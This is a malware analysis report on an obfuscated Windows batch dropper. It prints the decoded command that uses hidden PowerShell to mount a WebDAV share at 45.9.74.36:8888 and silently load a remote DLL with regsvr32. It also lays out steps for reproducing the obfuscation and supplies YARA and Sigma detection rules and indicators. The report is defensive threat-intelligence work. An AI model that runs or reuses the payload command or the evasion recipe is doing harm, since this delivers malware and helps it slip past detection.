976dc6079cdd2f55efaccf08f0b16317523e6143dddbe825a82aa23be9d74accunclassified-js-webdav-dropper: 976dc607 — thirty-fourth sibling, batch natural-language SET obfuscation with word-salad padding
Executive Summary
A pure Windows batch-script WebDAV dropper and the thirty-fourth confirmed sibling in the unclassified-js-webdav-dropper cluster. The script hides its payload behind ~40 lines of natural-language word-salad padding, then uses 36 natural-language-phrase SET variables to assemble a powershell.exe -WindowStyle Hidden wrapper that mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. C2 and execution chain are identical to the established 45.9.74.36:8888 pure-batch natural-language cluster.
What It Is
- Filename:
243552672577722477.bat^[metadata.json] - Size: 13,828 bytes (13.5 KB) ^[metadata.json]
- Type: ASCII text with CRLF line terminators, very long lines (up to 2,220 chars) ^[file.txt]
- Family:
unclassified-js-webdav-dropper— confirmed sibling (n=34) ^[triage.json] - Build: Hand-written batch; no commercial obfuscator signature. 37
SETvariables with natural-language English phrase names (e.g.squealpremiumcollect,fertilerubrelax,nutritiousdeliverabsent).
How It Works
- Entry / padding bypass:
goto signalon line 1 jumps over ~40 lines of natural-language word-salad noise (e.g. "disapprove sky dependent degree loving scorch gorgeous year...") to the:signallabel on line 43. ^[strings.txt:1] - Variable staging: A single chained
setline defines 37 variables, each holding one character or digit. Variable names are long natural-language phrases (36+ chars each), making static string extraction noisy. ^[strings.txt:41] - Decoy: Line 45 assembles to
color f0 && start wordpad— sets black-on-white console colors and launches WordPad as a legitimacy decoy. ^[strings.txt:45] - Payload execution: Line 46 assembles to:
^[strings.txt:46]start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\8745118644834.dll - Self-termination: Line 47 assembles to
exit. ^[strings.txt:47]
Decompiled Behavior
No binary decompilation applicable — the artifact is a plaintext batch script. The entire behavior is recoverable via manual %VAR% expansion or simple regex substitution. No anti-debug, no VM checks, no sandbox gating, no time-bombs. The script executes blindly on any Windows host with cmd.exe and powershell.exe.
C2 Infrastructure
| Indicator | Value |
|---|---|
| WebDAV mount | \\45.9.74.36@8888\DavWWWRoot\ |
| Payload DLL | 8745118644834.dll |
| Execution | regsvr32 /s \\45.9.74.36@8888\DavWWWRoot\8745118644834.dll |
| Decoy | wordpad launched with color f0 console |
| Wrapper | powershell.exe -WindowStyle Hidden |
Same C2 IP (45.9.74.36:8888) as siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, dac5e0ee, b2a097ba, b32ea531. ^[entities/unclassified-js-webdav-dropper.md]
Interesting Tidbits
- Word-salad padding is new to this sibling. Prior pure-batch variants in this cluster had no leading noise; the payload began immediately after the
SETblock. Here, 40+ lines of semantically plausible but meaningless English prose precede the:signallabel, likely to push the actualSETblock below the fold in sandbox string-extraction tools that truncate after N lines. ^[strings.txt:2-42] - Single-line SET chain. Unlike some siblings that split
SETassignments across multiple lines withGOTOchains, this sample puts all 37 definitions on one line joined by&&, making the entire variable block a single 2,220-character line. ^[strings.txt:41] - No JScript polyglot layer. This is a pure
.batfile; noWScript.Shellself-replication or JScript dictionary lookup-table obfuscation. Execution is direct:cmd.exe→powershell.exe→net use→regsvr32.exe. - Payload filename is a 13-digit numeric string (
8745118644834.dll), consistent with the throwaway-numeric naming convention observed across the cluster.
How To Mess With It (Homelab Replication)
- Reproduce the obfuscation:
- Write a benign batch payload (e.g.,
echo "pwned" > C:\temp\test.txt). - Split it into single-character chunks.
- Assign each chunk to a
SETvariable with a 30–40 character natural-language phrase name. - Reassemble via
%VAR1%%VAR2%...on one line insidestart powershell.exe -WindowStyle Hidden ....
- Write a benign batch payload (e.g.,
- Add word-salad padding: Generate 40 lines of random English adjective-noun pairs and place them before a
goto signaljump. - Test detection: Does your EDR flag
cmd.exespawningpowershell.exewith a command line containing >30%characters? Does static YARA against the.batfile detect anything without concatenation-aware logic?
Deployable Signatures
YARA Rule
rule WEBDAV_BatchSetObfuscation_NaturalLanguage
{
meta:
description = "Batch WebDAV dropper with natural-language SET variable obfuscation"
author = "PacketPursuit"
date = "2026-07-01"
family = "unclassified-js-webdav-dropper"
strings:
$a = "goto signal" ascii wide
$b = "net use \\45.9.74.36@8888\DavWWWRoot" ascii wide
$c = "regsvr32 /s" ascii wide
$d = "start wordpad" ascii wide
$e = "powershell.exe -windowstyle hidden" ascii wide nocase
$f = "set squealpremiumcollect=" ascii wide
$g = "set deadperfectabrasive=" ascii wide
$h = "set ducksunusualshiny=" ascii wide
condition:
filesize < 20KB and
($a or $d) and
(2 of ($b, $c, $e)) and
(2 of ($f, $g, $h))
}
Sigma Rule
title: Batch WebDAV Dropper Execution Chain
status: experimental
description: Detects cmd.exe spawning powershell.exe that executes net use + regsvr32 against a WebDAV UNC path
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\cmd.exe'
ParentCommandLine|contains:
- '.bat'
- '.cmd'
selection_powershell:
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'net use'
- 'DavWWWRoot'
- 'regsvr32'
selection_webdav_ip:
CommandLine|contains: '45.9.74.36@8888'
condition: selection_parent and selection_powershell and (selection_webdav_ip or selection_regsvr32)
falsepositives:
- Unknown
level: high
IOC List
| Type | Value | Notes |
|---|---|---|
| SHA-256 | 976dc6079cdd2f55efaccf08f0b16317523e6143dddbe825a82aa23be9d74acc |
This sample |
| Filename | 243552672577722477.bat |
Numeric masquerade |
| IP | 45.9.74.36 |
WebDAV C2 host |
| Port | 8888 |
WebDAV listener |
| DLL payload | 8745118644834.dll |
Throwaway numeric name |
| Registry | None | No persistence observed |
| Mutex | None | No mutex observed |
Behavioral Fingerprint
This artifact is a pure batch script that, when executed by cmd.exe, first redecorates the console (color f0) and launches WordPad as a decoy. It then spawns powershell.exe -WindowStyle Hidden to mount an attacker-controlled WebDAV share at \\45.9.74.36@8888\DavWWWRoot\ and silently register a remote DLL (regsvr32 /s) from that share. No sandbox gate, no anti-debug, no persistence — a one-shot execution chain designed for minimal footprint and maximum proxy-execution evasion.
Detection Signatures
| capa / ATT&CK | Mapping | Evidence |
|---|---|---|
| T1059.003 | Windows Command Shell | cmd.exe executes .bat directly ^[file.txt] |
| T1059.001 | PowerShell | powershell.exe -WindowStyle Hidden wrapper ^[strings.txt:46] |
| T1218.010 | Regsvr32 | regsvr32 /s \\...\DavWWWRoot\...dll ^[strings.txt:46] |
| T1071.001 | Web Protocols | WebDAV over HTTP via UNC path ^[strings.txt:46] |
| T1105 | Ingress Tool Transfer | net use mount + regsvr32 remote DLL load ^[strings.txt:46] |
| T1036.005 | Match Legitimate Name or Location | wordpad decoy + regsvr32 system binary ^[strings.txt:45] |
| T1027 | Obfuscated Files or Information | Natural-language SET variable fragmentation ^[strings.txt:41] |
References
- Artifact ID:
a973aa6f-e342-4047-85b2-0c5acb0a298d^[metadata.json] - Family entity: unclassified-js-webdav-dropper
- Technique page: batch-powershell-variable-expansion-obfuscation
- Technique page: webdav-regsvr32-dll-sideloading
Provenance
file.txt—fileutility output (file v5.44)strings.txt—strings -n 4output (GNU strings 2.38)metadata.json— triage pipeline metadatatriage.json— triage decision record- Manual
%VAR%expansion performed in Python 3.12, verified against source lines 45–47.